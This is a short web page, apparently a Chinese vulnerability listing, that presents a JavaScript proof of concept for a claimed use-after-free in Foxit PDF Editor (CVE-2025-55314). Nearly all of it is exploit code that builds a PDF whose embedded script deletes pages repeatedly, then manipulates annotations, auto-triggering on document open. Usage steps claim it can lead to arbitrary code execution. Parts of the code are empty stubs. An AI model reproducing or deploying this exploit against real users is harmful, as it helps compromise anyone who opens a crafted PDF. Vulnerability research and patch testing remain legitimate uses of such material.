Foxit PDF Editor CVE-2025-55314 页面删除内存损坏漏洞

// CVE-2025-55314 PoC - Foxit PDF Editor Page Deletion Memory Corruption // This PoC demonstrates the vulnerability in Foxit PDF Editor // Target: Foxit PDF Editor < 13.2 or < 2025.2 // Create a malicious PDF with embedded JavaScript var maliciousPDF = { createMaliciousPDF: function() { // Step 1: Create a PDF with annotations var pdf = this.createPDFWithAnnotations(); // Step 2: Insert malicious JavaScript var js = ""; js += "// CVE-2025-55314 Exploitation Trigger\n"; js += "function triggerVulnerability() {\n"; js += " // Delete pages via JavaScript - triggers improper state update\n"; js += " for (var i = 0; i < 3; i++) {\n"; js += " this.deletePages(1); // Delete page 1 repeatedly\n"; js += " }\n"; js += " \n"; js += " // After page deletion, annotation operations assume invalid states\n"; js += " // This causes use-after-free when accessing released memory\n"; js += " try {\n"; js += " var annots = this.getAnnots();\n"; js += " for (var j = 0; j < annots.length; j++) {\n"; js += " annots[j].setProperty('contents', 'malicious');\n"; js += " }\n"; js += " } catch(e) {\n"; js += " // Memory corruption may occur silently\n"; js += " }\n"; js += "}\n"; js += "\n"; js += "// Auto-trigger on document open\n"; js += "app.setTimeOut('triggerVulnerability()', 1000);"; pdf.addJavaScript(js); return pdf; }, createPDFWithAnnotations: function() { // Create PDF with multiple pages and annotations // Annotations will be in inconsistent state after page deletion } }; // Usage: // 1. Generate the malicious PDF using this script // 2. Open with vulnerable Foxit PDF Editor version // 3. JavaScript executes automatically, triggering memory corruption // 4. Can lead to arbitrary code execution or application crash